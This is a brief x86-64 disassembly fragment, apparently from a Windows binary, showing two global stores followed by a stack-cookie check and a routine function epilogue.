cmp edi, 2
jb 0x14000cb5f
mov dword [0x140012704], 0x200
mov dword [0x140012708], 0x40000000
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14000c300
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret